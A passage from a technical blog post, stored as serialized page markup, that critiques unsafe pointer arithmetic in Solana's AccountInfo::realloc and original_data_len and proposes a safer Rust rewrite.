from the runtime. This happened to be next to where the pubkey was stored, which resulted in the creation of ",{"type":25,"tag":162,"props":21258,"children":21261},{"href":21259,"rel":21260},"https://docs.rs/solana-program/1.10.30/src/solana_program/account_info.rs.html#74-85",[166],[21262],{"type":31,"value":21263},"this function",{"type":31,"value":1466},{"type":25,"tag":206,"props":21266,"children":21268},{"className":6909,"code":21267,"language":6908,"meta":7,"style":7},"/// Return the account's original data length when it was serialized for the\n/// current program invocation.\n///\n/// # Safety\n///\n/// This method assumes that the original data length was serialized as a u32\n/// integer in the 4 bytes immediately preceding the serialized account key.\npub unsafe fn original_data_len(&self) -> usize {\n    let key_ptr = self.key as *const _ as *const u8;\n    let original_data_len_ptr = key_ptr.offset(-4) as *const u32;\n    *original_data_len_ptr as usize\n}\n",[21269],{"type":25,"tag":82,"props":21270,"children":21271},{"__ignoreMap":7},[21272,21280,21288,21296,21304,21311,21319,21327,21375,21440,21506,21527],{"type":25,"tag":216,"props":21273,"children":21274},{"class":6916,"line":6917},[21275],{"type":25,"tag":216,"props":21276,"children":21277},{"style":6921},[21278],{"type":31,"value":21279},"/// Return the account's original data length when it was serialized for the\n",{"type":25,"tag":216,"props":21281,"children":21282},{"class":6916,"line":6763},[21283],{"type":25,"tag":216,"props":21284,"children":21285},{"style":6921},[21286],{"type":31,"value":21287},"/// current program invocation.\n",{"type":25,"tag":216,"props":21289,"children":21290},{"class":6916,"line":6772},[21291],{"type":25,"tag":216,"props":21292,"children":21293},{"style":6921},[21294],{"type":31,"value":21295},"///\n",{"type":25,"tag":216,"props":21297,"children":21298},{"class":6916,"line":6999},[21299],{"type":25,"tag":216,"props":21300,"children":21301},{"style":6921},[21302],{"type":31,"value":21303},"/// # Safety\n",{"type":25,"tag":216,"props":21305,"children":21306},{"class":6916,"line":7104},[21307],{"type":25,"tag":216,"props":21308,"children":21309},{"style":6921},[21310],{"type":31,"value":21295},{"type":25,"tag":216,"props":21312,"children":21313},{"class":6916,"line":7210},[21314],{"type":25,"tag":216,"props":21315,"children":21316},{"style":6921},[21317],{"type":31,"value":21318},"/// This method assumes that the original data length was serialized as a u32\n",{"type":25,"tag":216,"props":21320,"children":21321},{"class":6916,"line":7238},[21322],{"type":25,"tag":216,"props":21323,"children":21324},{"style":6921},[21325],{"type":31,"value":21326},"/// integer in the 4 bytes immediately preceding the serialized account key.\n",{"type":25,"tag":216,"props":21328,"children":21329},{"class":6916,"line":7251},[21330,21334,21338,21342,21347,21351,21355,21359,21363,21367,21371],{"type":25,"tag":216,"props":21331,"children":21332},{"style":6930},[21333],{"type":31,"value":17641},{"type":25,"tag":216,"props":21335,"children":21336},{"style":6930},[21337],{"type":31,"value":18541},{"type":25,"tag":216,"props":21339,"children":21340},{"style":6930},[21341],{"type":31,"value":17646},{"type":25,"tag":216,"props":21343,"children":21344},{"style":7041},[21345],{"type":31,"value":21346}," original_data_len",{"type":25,"tag":216,"props":21348,"children":21349},{"style":6958},[21350],{"type":31,"value":1844},{"type":25,"tag":216,"props":21352,"children":21353},{"style":6947},[21354],{"type":31,"value":7053},{"type":25,"tag":216,"props":21356,"children":21357},{"style":6930},[21358],{"type":31,"value":17664},{"type":25,"tag":216,"props":21360,"children":21361},{"style":6958},[21362],{"type":31,"value":7030},{"type":25,"tag":216,"props":21364,"children":21365},{"style":6947},[21366],{"type":31,"value":17708},{"type":25,"tag":216,"props":21368,"children":21369},{"style":7369},[21370],{"type":31,"value":17682},{"type":25,"tag":216,"props":21372,"children":21373},{"style":6958},[21374],{"type":31,"value":7235},{"type":25,"tag":216,"props":21376,"children":21377},{"class":6916,"line":7269},[21378,21382,21387,21391,21395,21399,21404,21408,21412,21416,21420,21424,21428,21432,21436],{"type":25,"tag":216,"props":21379,"children":21380},{"style":6930},[21381],{"type":31,"value":6933},{"type":25,"tag":216,"props":21383,"children":21384},{"style":6941},[21385],{"type":31,"value":21386}," key_ptr",{"type":25,"tag":216,"props":21388,"children":21389},{"style":6947},[21390],{"type":31,"value":6950},{"type":25,"tag":216,"props":21392,"children":21393},{"style":6930},[21394],{"type":31,"value":17748},{"type":25,"tag":216,"props":21396,"children":21397},{"style":6947},[21398],{"type":31,"value":179},{"type":25,"tag":216,"props":21400,"children":21401},{"style":6958},[21402],{"type":31,"value":21403},"key ",{"type":25,"tag":216,"props":21405,"children":21406},{"style":6930},[21407],{"type":31,"value":12789},{"type":25,"tag":216,"props":21409,"children":21410},{"style":6947},[21411],{"type":31,"value":13767},{"type":25,"tag":216,"props":21413,"children":21414},{"style":6930},[21415],{"type":31,"value":13605},{"type":25,"tag":216,"props":21417,"children":21418},{"style":6941},[21419],{"type":31,"value":6975},{"type":25,"tag":216,"props":21421,"children":21422},{"style":6930},[21423],{"type":31,"value":12775},{"type":25,"tag":216,"props":21425,"children":21426},{"style":6947},[21427],{"type":31,"value":13767},{"type":25,"tag":216,"props":21429,"children":21430},{"style":6930},[21431],{"type":31,"value":13605},{"type":25,"tag":216,"props":21433,"children":21434},{"style":7369},[21435],{"type":31,"value":18585},{"type":25,"tag":216,"props":21437,"children":21438},{"style":6958},[21439],{"type":31,"value":6961},{"type":25,"tag":216,"props":21441,"children":21442},{"class":6916,"line":7290},[21443,21447,21452,21456,21460,21464,21468,21472,21476,21481,21485,21489,21493,21497,21502],{"type":25,"tag":216,"props":21444,"children":21445},{"style":6930},[21446],{"type":31,"value":6933},{"type":25,"tag":216,"props":21448,"children":21449},{"style":6941},[21450],{"type":31,"value":21451}," original_data_len_ptr",{"type":25,"tag":216,"props":21453,"children":21454},{"style":6947},[21455],{"type":31,"value":6950},{"type":25,"tag":216,"props":21457,"children":21458},{"style":6941},[21459],{"type":31,"value":21386},{"type":25,"tag":216,"props":21461,"children":21462},{"style":6947},[21463],{"type":31,"value":179},{"type":25,"tag":216,"props":21465,"children":21466},{"style":7041},[21467],{"type":31,"value":17852},{"type":25,"tag":216,"props":21469,"children":21470},{"style":6958},[21471],{"type":31,"value":1844},{"type":25,"tag":216,"props":21473,"children":21474},{"style":6947},[21475],{"type":31,"value":8270},{"type":25,"tag":216,"props":21477,"children":21478},{"style":6983},[21479],{"type":31,"value":21480},"4",{"type":25,"tag":216,"props":21482,"children":21483},{"style":6958},[21484],{"type":31,"value":7030},{"type":25,"tag":216,"props":21486,"children":21487},{"style":6930},[21488],{"type":31,"value":12789},{"type":25,"tag":216,"props":21490,"children":21491},{"style":6947},[21492],{"type":31,"value":13767},{"type":25,"tag":216,"props":21494,"children":21495},{"style":6930},[21496],{"type":31,"value":13605},{"type":25,"tag":216,"props":21498,"children":21499},{"style":7369},[21500],{"type":31,"value":21501}," u32",{"type":25,"tag":216,"props":21503,"children":21504},{"style":6958},[21505],{"type":31,"value":6961},{"type":25,"tag":216,"props":21507,"children":21508},{"class":6916,"line":7299},[21509,21514,21519,21523],{"type":25,"tag":216,"props":21510,"children":21511},{"style":6947},[21512],{"type":31,"value":21513},"    *",{"type":25,"tag":216,"props":21515,"children":21516},{"style":6941},[21517],{"type":31,"value":21518},"original_data_len_ptr",{"type":25,"tag":216,"props":21520,"children":21521},{"style":6930},[21522],{"type":31,"value":12775},{"type":25,"tag":216,"props":21524,"children":21525},{"style":7369},[21526],{"type":31,"value":20926},{"type":25,"tag":216,"props":21528,"children":21529},{"class":6916,"line":7551},[21530],{"type":25,"tag":216,"props":21531,"children":21532},{"style":6958},[21533],{"type":31,"value":7868},{"type":25,"tag":38,"props":21535,"children":21536},{},[21537,21539,21544,21546,21551,21553,21558,21560,21565,21567,21574,21576,21583,21584,21591,21592,21599,21600,21607],{"type":31,"value":21538},"It's marked ",{"type":25,"tag":82,"props":21540,"children":21542},{"className":21541},[],[21543],{"type":31,"value":18307},{"type":31,"value":21545},", properly documented, but there's just one problem: we need this for ",{"type":25,"tag":82,"props":21547,"children":21549},{"className":21548},[],[21550],{"type":31,"value":17589},{"type":31,"value":21552},", which originally was not ",{"type":25,"tag":82,"props":21554,"children":21556},{"className":21555},[],[21557],{"type":31,"value":18307},{"type":31,"value":21559},". So, in the name of not breaking API compatibility, the Solana team just threw the call in an ",{"type":25,"tag":82,"props":21561,"children":21563},{"className":21562},[],[21564],{"type":31,"value":18307},{"type":31,"value":21566}," block and added ",{"type":25,"tag":162,"props":21568,"children":21571},{"href":21569,"rel":21570},"https://docs.rs/solana-program/1.10.30/solana_program/account_info/struct.AccountInfo.html#safety-1",[166],[21572],{"type":31,"value":21573},"a doc comment",{"type":31,"value":21575}," - adding to the ",{"type":25,"tag":162,"props":21577,"children":21580},{"href":21578,"rel":21579},"https://docs.rs/solana-program/1.10.30/solana_program/program/fn.invoke_signed_unchecked.html#safety",[166],[21581],{"type":31,"value":21582},"small",{"type":31,"value":10403},{"type":25,"tag":162,"props":21585,"children":21588},{"href":21586,"rel":21587},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memcpy.html#safety",[166],[21589],{"type":31,"value":21590},"pile",{"type":31,"value":10403},{"type":25,"tag":162,"props":21593,"children":21596},{"href":21594,"rel":21595},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memset.html#safety",[166],[21597],{"type":31,"value":21598},"of",{"type":31,"value":10403},{"type":25,"tag":162,"props":21601,"children":21604},{"href":21602,"rel":21603},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memcmp.html#safety",[166],[21605],{"type":31,"value":21606},"functions",{"type":31,"value":21608}," that are actually unsafe but aren't marked as such for API compatibility reasons (and the last three - all related to each other - don't even have the comment until version 1.11, which isn't even on mainnet as of the time of writing).",{"type":25,"tag":26,"props":21610,"children":21612},{"id":21611},"towards-safer-unsafe",[21613,21615],{"type":31,"value":21614},"Towards safer ",{"type":25,"tag":82,"props":21616,"children":21618},{"className":21617},[],[21619],{"type":31,"value":18307},{"type":25,"tag":38,"props":21621,"children":21622},{},[21623,21625,21630,21632,21637,21639,21646],{"type":31,"value":21624},"Let's circle back to that main ",{"type":25,"tag":82,"props":21626,"children":21628},{"className":21627},[],[21629],{"type":31,"value":18307},{"type":31,"value":21631}," block inside ",{"type":25,"tag":82,"props":21633,"children":21635},{"className":21634},[],[21636],{"type":31,"value":17589},{"type":31,"value":21638}," for a bit, shall we? As a reminder, it looks like ",{"type":25,"tag":162,"props":21640,"children":21643},{"href":21641,"rel":21642},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#127-136",[166],[21644],{"type":31,"value":21645},"this",{"type":31,"value":1466},{"type":25,"tag":206,"props":21648,"children":21650},{"className":6909,"code":21649,"language":6908,"meta":7,"style":7},"// realloc\nunsafe {\n    // First set new length in the serialized data\n    let ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n    *ptr = new_len as u64;\n\n    // Then set the new length in the local slice\n    let ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n    *ptr = new_len as u64;\n}\n",[21651],{"type":25,"tag":82,"props":21652,"children":21653},{"__ignoreMap":7},[21654,21662,21673,21681,21768,21799,21806,21814,21941,21972],{"type":25,"tag":216,"props":21655,"children":21656},{"class":6916,"line":6917},[21657],{"type":25,"tag":216,"props":21658,"children":21659},{"style":6921},[21660],{"type":31,"value":21661},"// realloc\n",{"type":25,"tag":216,"props":21663,"children":21664},{"class":6916,"line":6763},[21665,21669],{"type":25,"tag":216,"props":21666,"children":21667},{"style":6930},[21668],{"type":31,"value":18307},{"type":25,"tag":216,"props":21670,"children":21671},{"style":6958},[21672],{"type":31,"value":7235},{"type":25,"tag":216,"props":21674,"children":21675},{"class":6916,"line":6772},[21676],{"type":25,"tag":216,"props":21677,"children":21678},{"style":6921},[21679],{"type":31,"value":21680},"    // First set new length in the serialized data\n",{"type":25,"tag":216,"props":21682,"children":21683},{"class":6916,"line":6999},[21684,21688,21692,21696,21700,21704,21708,21712,21716,21720,21724,21728,21732,21736,21740,21744,21748,21752,21756,21760,21764],{"type":25,"tag":216,"props":21685,"children":21686},{"style":6930},[21687],{"type":31,"value":6933},{"type":25,"tag":216,"props":21689,"children":21690},{"style":6941},[21691],{"type":31,"value":17808},{"type":25,"tag":216,"props":21693,"children":21694},{"style":6947},[21695],{"type":31,"value":6950},{"type":25,"tag":216,"props":21697,"children":21698},{"style":6930},[21699],{"type":31,"value":17748},{"type":25,"tag":216,"props":21701,"children":21702},{"style":6947},[21703],{"type":31,"value":179},{"type":25,"tag":216,"props":21705,"children":21706},{"style":7041},[21707],{"type":31,"value":17825},{"type":25,"tag":216,"props":21709,"children":21710},{"style":6958},[21711],{"type":31,"value":17830},{"type":25,"tag":216,"props":21713,"children":21714},{"style":6947},[21715],{"type":31,"value":7075},{"type":25,"tag":216,"props":21717,"children":21718},{"style":7041},[21719],{"type":31,"value":17839},{"type":25,"tag":216,"props":21721,"children":21722},{"style":6958},[21723],{"type":31,"value":17830},{"type":25,"tag":216,"props":21725,"children":21726},{"style":6947},[21727],{"type":31,"value":179},{"type":25,"tag":216,"props":21729,"children":21730},{"style":7041},[21731],{"type":31,"value":17852},{"type":25,"tag":216,"props":21733,"children":21734},{"style":6958},[21735],{"type":31,"value":1844},{"type":25,"tag":216,"props":21737,"children":21738},{"style":6947},[21739],{"type":31,"value":8270},{"type":25,"tag":216,"props":21741,"children":21742},{"style":6983},[21743],{"type":31,"value":8025},{"type":25,"tag":216,"props":21745,"children":21746},{"style":6958},[21747],{"type":31,"value":7030},{"type":25,"tag":216,"props":21749,"children":21750},{"style":6930},[21751],{"type":31,"value":12789},{"type":25,"tag":216,"props":21753,"children":21754},{"style":6947},[21755],{"type":31,"value":13767},{"type":25,"tag":216,"props":21757,"children":21758},{"style":6930},[21759],{"type":31,"value":7685},{"type":25,"tag":216,"props":21761,"children":21762},{"style":7369},[21763],{"type":31,"value":9805},{"type":25,"tag":216,"props":21765,"children":21766},{"style":6958},[21767],{"type":31,"value":6961},{"type":25,"tag":216,"props":21769,"children":21770},{"class":6916,"line":7104},[21771,21775,21779,21783,21787,21791,21795],{"type":25,"tag":216,"props":21772,"children":21773},{"style":6947},[21774],{"type":31,"value":21513},{"type":25,"tag":216,"props":21776,"children":21777},{"style":6941},[21778],{"type":31,"value":17900},{"type":25,"tag":216,"props":21780,"children":21781},{"style":6947},[21782],{"type":31,"value":6950},{"type":25,"tag":216,"props":21784,"children":21785},{"style":6941},[21786],{"type":31,"value":17909},{"type":25,"tag":216,"props":21788,"children":21789},{"style":6930},[21790],{"type":31,"value":12775},{"type":25,"tag":216,"props":21792,"children":21793},{"style":7369},[21794],{"type":31,"value":9805},{"type":25,"tag":216,"props":21796,"children":21797},{"style":6958},[21798],{"type":31,"value":6961},{"type":25,"tag":216,"props":21800,"children":21801},{"class":6916,"line":7210},[21802],{"type":25,"tag":216,"props":21803,"children":21804},{"emptyLinePlaceholder":16},[21805],{"type":31,"value":7636},{"type":25,"tag":216,"props":21807,"children":21808},{"class":6916,"line":7238},[21809],{"type":25,"tag":216,"props":21810,"children":21811},{"style":6921},[21812],{"type":31,"value":21813},"    // Then set the new length in the local slice\n",{"type":25,"tag":216,"props":21815,"children":21816},{"class":6916,"line":7251},[21817,21821,21825,21829,21833,21837,21841,21845,21849,21853,21857,21861,21865,21869,21873,21877,21881,21885,21889,21893,21897,21901,21905,21909,21913,21917,21921,21925,21929,21933,21937],{"type":25,"tag":216,"props":21818,"children":21819},{"style":6930},[21820],{"type":31,"value":6933},{"type":25,"tag":216,"props":21822,"children":21823},{"style":6941},[21824],{"type":31,"value":17808},{"type":25,"tag":216,"props":21826,"children":21827},{"style":6947},[21828],{"type":31,"value":6950},{"type":25,"tag":216,"props":21830,"children":21831},{"style":6947},[21832],{"type":31,"value":11087},{"type":25,"tag":216,"props":21834,"children":21835},{"style":6930},[21836],{"type":31,"value":7685},{"type":25,"tag":216,"props":21838,"children":21839},{"style":6947},[21840],{"type":31,"value":13767},{"type":25,"tag":216,"props":21842,"children":21843},{"style":6958},[21844],{"type":31,"value":17968},{"type":25,"tag":216,"props":21846,"children":21847},{"style":6930},[21848],{"type":31,"value":17664},{"type":25,"tag":216,"props":21850,"children":21851},{"style":6947},[21852],{"type":31,"value":179},{"type":25,"tag":216,"props":21854,"children":21855},{"style":6958},[21856],{"type":31,"value":7663},{"type":25,"tag":216,"props":21858,"children":21859},{"style":6947},[21860],{"type":31,"value":179},{"type":25,"tag":216,"props":21862,"children":21863},{"style":7041},[21864],{"type":31,"value":17989},{"type":25,"tag":216,"props":21866,"children":21867},{"style":6958},[21868],{"type":31,"value":17994},{"type":25,"tag":216,"props":21870,"children":21871},{"style":6930},[21872],{"type":31,"value":12789},{"type":25,"tag":216,"props":21874,"children":21875},{"style":6947},[21876],{"type":31,"value":13767},{"type":25,"tag":216,"props":21878,"children":21879},{"style":6930},[21880],{"type":31,"value":13605},{"type":25,"tag":216,"props":21882,"children":21883},{"style":7369},[21884],{"type":31,"value":9805},{"type":25,"tag":216,"props":21886,"children":21887},{"style":6958},[21888],{"type":31,"value":1882},{"type":25,"tag":216,"props":21890,"children":21891},{"style":6947},[21892],{"type":31,"value":179},{"type":25,"tag":216,"props":21894,"children":21895},{"style":7041},[21896],{"type":31,"value":17852},{"type":25,"tag":216,"props":21898,"children":21899},{"style":6958},[21900],{"type":31,"value":1844},{"type":25,"tag":216,"props":21902,"children":21903},{"style":6983},[21904],{"type":31,"value":184},{"type":25,"tag":216,"props":21906,"children":21907},{"style":6958},[21908],{"type":31,"value":7030},{"type":25,"tag":216,"props":21910,"children":21911},{"style":6930},[21912],{"type":31,"value":12789},{"type":25,"tag":216,"props":21914,"children":21915},{"style":7369},[21916],{"type":31,"value":9805},{"type":25,"tag":216,"props":21918,"children":21919},{"style":6958},[21920],{"type":31,"value":7030},{"type":25,"tag":216,"props":21922,"children":21923},{"style":6930},[21924],{"type":31,"value":12789},{"type":25,"tag":216,"props":21926,"children":21927},{"style":6947},[21928],{"type":31,"value":13767},{"type":25,"tag":216,"props":21930,"children":21931},{"style":6930},[21932],{"type":31,"value":7685},{"type":25,"tag":216,"props":21934,"children":21935},{"style":7369},[21936],{"type":31,"value":9805},{"type":25,"tag":216,"props":21938,"children":21939},{"style":6958},[21940],{"type":31,"value":7791},{"type":25,"tag":216,"props":21942,"children":21943},{"class":6916,"line":7269},[21944,21948,21952,21956,21960,21964,21968],{"type":25,"tag":216,"props":21945,"children":21946},{"style":6947},[21947],{"type":31,"value":21513},{"type":25,"tag":216,"props":21949,"children":21950},{"style":6941},[21951],{"type":31,"value":17900},{"type":25,"tag":216,"props":21953,"children":21954},{"style":6947},[21955],{"type":31,"value":6950},{"type":25,"tag":216,"props":21957,"children":21958},{"style":6941},[21959],{"type":31,"value":17909},{"type":25,"tag":216,"props":21961,"children":21962},{"style":6930},[21963],{"type":31,"value":12775},{"type":25,"tag":216,"props":21965,"children":21966},{"style":7369},[21967],{"type":31,"value":9805},{"type":25,"tag":216,"props":21969,"children":21970},{"style":6958},[21971],{"type":31,"value":6961},{"type":25,"tag":216,"props":21973,"children":21974},{"class":6916,"line":7290},[21975],{"type":25,"tag":216,"props":21976,"children":21977},{"style":6958},[21978],{"type":31,"value":7868},{"type":25,"tag":38,"props":21980,"children":21981},{},[21982,21984,21989],{"type":31,"value":21983},"We've seen how we could have ran into all sorts of issues here, with the usage of slice layout details, the reborrow creating an unbounded lifetime, and the ",{"type":25,"tag":82,"props":21985,"children":21987},{"className":21986},[],[21988],{"type":31,"value":19455},{"type":31,"value":21990}," borrow not accurately representing the actual usage of its contents. We can do better than this.",{"type":25,"tag":38,"props":21992,"children":21993},{},[21994,21996,22001,22003,22008,22010,22015,22017,22022,22024,22029,22031,22037,22039,22049,22051,22062],{"type":31,"value":21995},"First, let's deal with the ",{"type":25,"tag":82,"props":21997,"children":21999},{"className":21998},[],[22000],{"type":31,"value":19455},{"type":31,"value":22002}," borrowing issue. When we ",{"type":25,"tag":82,"props":22004,"children":22006},{"className":22005},[],[22007],{"type":31,"value":17825},{"type":31,"value":22009},", we get a ",{"type":25,"tag":82,"props":22011,"children":22013},{"className":22012},[],[22014],{"type":31,"value":20693},{"type":31,"value":22016}," back, which represents our borrow of the ",{"type":25,"tag":82,"props":22018,"children":22020},{"className":22019},[],[22021],{"type":31,"value":19455},{"type":31,"value":22023},"'s data. The fix here is simple: keep that ",{"type":25,"tag":82,"props":22025,"children":22027},{"className":22026},[],[22028],{"type":31,"value":20693},{"type":31,"value":22030}," around and use it to access the data, instead of using ",{"type":25,"tag":82,"props":22032,"children":22034},{"className":22033},[],[22035],{"type":31,"value":22036},"RefCell::as_ptr",{"type":31,"value":22038},". Next, the slice; again, the fix is simple. Instead of attempting to modify just the length field, and resorting to using layout information to do so since Rust slices are immutable, we can simply construct a new slice reference and set that. The Rust compiler",{"type":25,"tag":19425,"props":22040,"children":22041},{},[22042],{"type":25,"tag":162,"props":22043,"children":22047},{"href":22044,"ariaDescribedBy":22045,"dataFootnoteRef":7,"id":22046},"#user-content-fn-rustc-llvm",[19432],"user-content-fnref-rustc-llvm",[22048],{"type":31,"value":21480},{"type":31,"value":22050}," is smart enough to realize that the only thing changing is the length field, and so only emits the code to set the length",{"type":25,"tag":19425,"props":22052,"children":22053},{},[22054],{"type":25,"tag":162,"props":22055,"children":22059},{"href":22056,"ariaDescribedBy":22057,"dataFootnoteRef":7,"id":22058},"#user-content-fn-godbolt",[19432],"user-content-fnref-godbolt",[22060],{"type":31,"value":22061},"5",{"type":31,"value":22063},". So then we get:",{"type":25,"tag":206,"props":22065,"children":22067},{"className":6909,"code":22066,"language":6908,"meta":7,"style":7},"let mut slice = self.try_borrow_mut_data()?;\n\n// First set new length in the serialized data\nlet ptr = unsafe { slice.as_mut_ptr().offset(-8) } as *mut u64;\nunsafe { *ptr = new_len as u64 };\n\n// Then set the new length in the local slice\n*slice = unsafe { std::slice::from_raw_parts_mut(slice.as_mut_ptr(), new_len) };\n",[22068],{"type":25,"tag":82,"props":22069,"children":22070},{"__ignoreMap":7},[22071,22115,22122,22129,22213,22253,22260,22267],{"type":25,"tag":216,"props":22072,"children":22073},{"class":6916,"line":6917},[22074,22078,22082,22087,22091,22095,22099,22103,22107,22111],{"type":25,"tag":216,"props":22075,"children":22076},{"style":6930},[22077],{"type":31,"value":15737},{"type":25,"tag":216,"props":22079,"children":22080},{"style":6930},[22081],{"type":31,"value":6938},{"type":25,"tag":216,"props":22083,"children":22084},{"style":6941},[22085],{"type":31,"value":22086}," slice",{"type":25,"tag":216,"props":22088,"children":22089},{"style":6947},[22090],{"type":31,"value":6950},{"type":25,"tag":216,"props":22092,"children":22093},{"style":6930},[22094],{"type":31,"value":17748},{"type":25,"tag":216,"props":22096,"children":22097},{"style":6947},[22098],{"type":31,"value":179},{"type":25,"tag":216,"props":22100,"children":22101},{"style":7041},[22102],{"type":31,"value":17825},{"type":25,"tag":216,"props":22104,"children":22105},{"style":6958},[22106],{"type":31,"value":17830},{"type":25,"tag":216,"props":22108,"children":22109},{"style":6947},[22110],{"type":31,"value":605},{"type":25,"tag":216,"props":22112,"children":22113},{"style":6958},[22114],{"type":31,"value":6961},{"type":25,"tag":216,"props":22116,"children":22117},{"class":6916,"line":6763},[22118],{"type":25,"tag":216,"props":22119,"children":22120},{"emptyLinePlaceholder":16},[22121],{"type":31,"value":7636},{"type":25,"tag":216,"props":22123,"children":22124},{"class":6916,"line":6772},[22125],{"type":25,"tag":216,"props":22126,"children":22127},{"style":6921},[22128],{"type":31,"value":18354},{"type":25,"tag":216,"props":22130,"children":22131},{"class":6916,"line":6999},[22132,22136,22140,22144,22148,22152,22156,22160,22164,22168,22172,22176,22180,22184,22188,22193,22197,22201,22205,22209],{"type":25,"tag":216,"props":22133,"children":22134},{"style":6930},[22135],{"type":31,"value":15737},{"type":25,"tag":216,"props":22137,"children":22138},{"style":6941},[22139],{"type":31,"value":17808},{"type":25,"tag":216,"props":22141,"children":22142},{"style":6947},[22143],{"type":31,"value":6950},{"type":25,"tag":216,"props":22145,"children":22146},{"style":6930},[22147],{"type":31,"value":18541},{"type":25,"tag":216,"props":22149,"children":22150},{"style":6958},[22151],{"type":31,"value":13536},{"type":25,"tag":216,"props":22153,"children":22154},{"style":6941},[22155],{"type":31,"value":19264},{"type":25,"tag":216,"props":22157,"children":22158},{"style":6947},[22159],{"type":31,"value":179},{"type":25,"tag":216,"props":22161,"children":22162},{"style":7041},[22163],{"type":31,"value":17839},{"type":25,"tag":216,"props":22165,"children":22166},{"style":6958},[22167],{"type":31,"value":17830},{"type":25,"tag":216,"props":22169,"children":22170},{"style":6947},[22171],{"type":31,"value":179},{"type":25,"tag":216,"props":22173,"children":22174},{"style":7041},[22175],{"type":31,"value":17852},{"type":25,"tag":216,"props":22177,"children":22178},{"style":6958},[22179],{"type":31,"value":1844},{"type":25,"tag":216,"props":22181,"children":22182},{"style":6947},[22183],{"type":31,"value":8270},{"type":25,"tag":216,"props":22185,"children":22186},{"style":6983},[22187],{"type":31,"value":8025},{"type":25,"tag":216,"props":22189,"children":22190},{"style":6958},[22191],{"type":31,"value":22192},") } ",{"type":25,"tag":216,"props":22194,"children":22195},{"style":6930},[22196],{"type":31,"value":12789},{"type":25,"tag":216,"props":22198,"children":22199},{"style":6947},[22200],{"type":31,"value":13767},{"type":25,"tag":216,"props":22202,"children":22203},{"style":6930},[22204],{"type":31,"value":7685},{"type":25,"tag":216,"props":22206,"children":22207},{"style":7369},[22208],{"type":31,"value":9805},{"type":25,"tag":216,"props":22210,"children":22211},{"style":6958},[22212],{"type":31,"value":6961},{"type":25,"tag":216,"props":22214,"children":22215},{"class":6916,"line":7104},[22216,22220,22224,22228,22232,22236,22240,22244,22248],{"type":25,"tag":216,"props":22217,"children":22218},{"style":6930},[22219],{"type":31,"value":18307},{"type":25,"tag":216,"props":22221,"children":22222},{"style":6958},[22223],{"type":31,"value":13536},{"type":25,"tag":216,"props":22225,"children":22226},{"style":6947},[22227],{"type":31,"value":8513},{"type":25,"tag":216,"props":22229,"children":22230},{"style":6941},[22231],{"type":31,"value":17900},{"type":25,"tag":216,"props":22233,"children":22234},{"style":6947},[22235],{"type":31,"value":6950},{"type":25,"tag":216,"props":22237,"children":22238},{"style":6941},[22239],{"type":31,"value":17909},{"type":25,"tag":216,"props":22241,"children":22242},{"style":6930},[22243],{"type":31,"value":12775},{"type":25,"tag":216,"props":22245,"children":22246},{"style":7369},[22247],{"type":31,"value":9805},{"type":25,"tag":216,"props":22249,"children":22250},{"style":6958},[22251],{"type":31,"value":22252}," };\n",{"type":25,"tag":216,"props":22254,"children":22255},{"class":6916,"line":7210},[22256],{"type":25,"tag":216,"props":22257,"children":22258},{"emptyLinePlaceholder":16},[22259],{"type":31,"value":7636},{"type":25,"tag":216,"props":22261,"children":22262},{"class":6916,"line":7238},[22263],{"type":25,"tag":216,"props":22264,"children":22265},{"style":6921},[22266],{"type":31,"value":20092},{"type":25,"tag":216,"props":22268,"children":22269},{"class":6916,"line":7251},[22270,22274,22278,22282,22286,22291,22295,22299,22303,22308,22312,22316,22320,22324,22329,22333],{"type":25,"tag":216,"props":22271,"children":22272},{"style":6947},[22273],{"type":31,"value":8513},{"type":25,"tag":216,"props":22275,"children":22276},{"style":6941},[22277],{"type":31,"value":19264},{"type":25,"tag":216,"props":22279,"children":22280},{"style":6947},[22281],{"type":31,"value":6950},{"type":25,"tag":216,"props":22283,"children":22284},{"style":6930},[22285],{"type":31,"value":18541},{"type":25,"tag":216,"props":22287,"children":22288},{"style":6958},[22289],{"type":31,"value":22290}," { std",{"type":25,"tag":216,"props":22292,"children":22293},{"style":6947},[22294],{"type":31,"value":7432},{"type":25,"tag":216,"props":22296,"children":22297},{"style":6958},[22298],{"type":31,"value":19264},{"type":25,"tag":216,"props":22300,"children":22301},{"style":6947},[22302],{"type":31,"value":7432},{"type":25,"tag":216,"props":22304,"children":22305},{"style":7041},[22306],{"type":31,"value":22307},"from_raw_parts_mut",{"type":25,"tag":216,"props":22309,"children":22310},{"style":6958},[22311],{"type":31,"value":1844},{"type":25,"tag":216,"props":22313,"children":22314},{"style":6941},[22315],{"type":31,"value":19264},{"type":25,"tag":216,"props":22317,"children":22318},{"style":6947},[22319],{"type":31,"value":179},{"type":25,"tag":216,"props":22321,"children":22322},{"style":7041},[22323],{"type":31,"value":17839},{"type":25,"tag":216,"props":22325,"children":22326},{"style":6958},[22327],{"type":31,"value":22328},"(), ",{"type":25,"tag":216,"props":22330,"children":22331},{"style":6941},[22332],{"type":31,"value":17673},{"type":25,"tag":216,"props":22334,"children":22335},{"style":6958},[22336],{"type":31,"value":18696},{"type":25,"tag":38,"props":22338,"children":22339},{},[22340,22342,22347,22349,22354,22356,22361,22363],{"type":31,"value":22341},"No more pointer casting except for the one place that actually needs it (since the ABI for the serialized buffer uses a ",{"type":25,"tag":82,"props":22343,"children":22345},{"className":22344},[],[22346],{"type":31,"value":11988},{"type":31,"value":22348}," and not a ",{"type":25,"tag":82,"props":22350,"children":22352},{"className":22351},[],[22353],{"type":31,"value":20554},{"type":31,"value":22355}," for the size field, given that ",{"type":25,"tag":82,"props":22357,"children":22359},{"className":22358},[],[22360],{"type":31,"value":20554},{"type":31,"value":22362}," is architecture-dependent), and no dependency on slice reference 